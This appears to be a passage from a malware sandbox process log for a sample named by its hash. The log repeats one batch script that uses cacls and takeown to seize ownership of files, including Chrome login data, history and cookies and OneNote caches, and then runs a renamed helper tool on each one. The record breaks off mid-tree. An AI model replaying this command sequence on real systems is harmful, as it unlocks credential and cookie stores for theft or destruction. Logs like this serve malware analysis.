C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "MoUsoCoreWorker.adc60cc5-881a-4717-9b5b-b4b2a3c40fe9.1.etl" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "MoUsoCoreWorker.adc60cc5-881a-4717-9b5b-b4b2a3c40fe9.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\ProgramData\USOShared\Logs\System\WuProvider.069ffa7c-8b4b-400c-af4f-53ead9874bfc.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOShared\Logs\System\WuProvider.069ffa7c-8b4b-400c-af4f-53ead9874bfc.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOShared\Logs\System\WuProvider.069ffa7c-8b4b-400c-af4f-53ead9874bfc.1.etl"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "WuProvider.069ffa7c-8b4b-400c-af4f-53ead9874bfc.1.etl" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "WuProvider.069ffa7c-8b4b-400c-af4f-53ead9874bfc.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\ProgramData\USOShared\Logs\System\NotificationUxBroker.3583bdcf-47dc-4c4d-a9b1-186c5e758fd0.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOShared\Logs\System\NotificationUxBroker.3583bdcf-47dc-4c4d-a9b1-186c5e758fd0.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOShared\Logs\System\NotificationUxBroker.3583bdcf-47dc-4c4d-a9b1-186c5e758fd0.1.etl"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "NotificationUxBroker.3583bdcf-47dc-4c4d-a9b1-186c5e758fd0.1.etl" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "NotificationUxBroker.3583bdcf-47dc-4c4d-a9b1-186c5e758fd0.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\ProgramData\USOShared\Logs\System\WuProvider.e48c78fd-80b8-487d-89ea-ffef8f8a1ff7.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOShared\Logs\System\WuProvider.e48c78fd-80b8-487d-89ea-ffef8f8a1ff7.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOShared\Logs\System\WuProvider.e48c78fd-80b8-487d-89ea-ffef8f8a1ff7.1.etl"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "WuProvider.e48c78fd-80b8-487d-89ea-ffef8f8a1ff7.1.etl" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "WuProvider.e48c78fd-80b8-487d-89ea-ffef8f8a1ff7.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.60fb34de-d855-405c-a3f7-ded3d2929077.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.60fb34de-d855-405c-a3f7-ded3d2929077.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.60fb34de-d855-405c-a3f7-ded3d2929077.1.etl"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "MoUsoCoreWorker.60fb34de-d855-405c-a3f7-ded3d2929077.1.etl" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "MoUsoCoreWorker.60fb34de-d855-405c-a3f7-ded3d2929077.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_1""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_1" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_1"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "data_1" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "data_1" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\index""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\index" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\index"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "index" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "index" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.0f7459ae-470a-4c47-8db0-9d1e64e3f67a.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.0f7459ae-470a-4c47-8db0-9d1e64e3f67a.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.0f7459ae-470a-4c47-8db0-9d1e64e3f67a.1.etl"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "UpdateSessionOrchestration.0f7459ae-470a-4c47-8db0-9d1e64e3f67a.1.etl" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "UpdateSessionOrchestration.0f7459ae-470a-4c47-8db0-9d1e64e3f67a.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000008.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000008.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000008.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "00000008.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "00000008.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000J.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000J.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000J.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "0000000J.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "0000000J.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000S.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000S.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000S.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "0000000S.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "0000000S.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000014.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000014.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000014.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "00000014.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "00000014.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000054.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000054.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000054.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "00000054.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "00000054.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnCache\index""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnCache\index" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnCache\index"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "index" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "index" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_2""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_2" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cache\Cache_Data\data_2"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "data_2" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "data_2" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnCache\data_1""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnCache\data_1" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnCache\data_1"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "data_1" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "data_1" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006S.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006S.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006S.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "0000006S.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "0000006S.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007C.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007C.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007C.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "0000007C.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "0000007C.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007K.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007K.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007K.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "0000007K.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "0000007K.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008D.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008D.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008D.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "0000008D.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "0000008D.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008L.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008L.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008L.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "0000008L.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "0000008L.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008V.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008V.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008V.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "0000008V.bin" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "0000008V.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnCache\data_0""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnCache\data_0" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\DawnCache\data_0"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "data_0" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "data_0" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\History""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\History" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\History"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "History" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "History" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c LTak7xej.exe -accepteula "Login Data For Account" -nobanner3⤵
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula "Login Data For Account" -nobanner4⤵
-
-
-
C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\LTak7xej.exeLTak7xej.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\095721924420baff3670898412fc911ff32540544e8fad5495d334cded931270\Bh6CS2zQ.bat" "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Safe Browsing Network\Safe Browsing Cookies""2⤵
-
